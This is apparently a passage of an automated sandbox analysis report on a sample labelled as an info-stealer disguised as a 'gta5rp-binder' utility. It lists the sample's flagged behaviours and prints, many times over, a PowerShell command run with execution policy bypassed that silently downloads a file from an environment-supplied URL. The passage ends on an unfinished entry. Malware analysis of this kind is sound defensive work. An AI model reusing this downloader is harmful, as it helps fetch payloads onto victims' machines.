- - C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe"
    3⤵
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Modifies trusted root certificate store through registry
    - Modifies system certificate store
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --disable-gpu --lang=en-US --mojo-named-platform-channel-pipe=3960.1608.10711715649691232750
      4⤵
      Drops file in Program Files directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of WriteProcessMemory
      PID:3496
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x160,0x164,0x168,0x13c,0x170,0x7ffe38d9b078,0x7ffe38d9b084,0x7ffe38d9b090
        5⤵
        
        PID:3060
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=1776,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1772 /prefetch:2
        5⤵
        
        PID:772
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1780,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:3
        5⤵
        
        PID:3080
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2248,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2260 /prefetch:8
        5⤵
        
        PID:4480
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3456,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
        5⤵
        
        PID:3196
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=4104,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=4080 /prefetch:1
        5⤵
        
        PID:4904
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=5084,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:8
        5⤵
        
        PID:1328
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=5088,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:8
        5⤵
        
        PID:5728
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.10.1 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2088,i,9364095164877182550,1065153225170115482,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:8
        5⤵
        
        PID:3864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
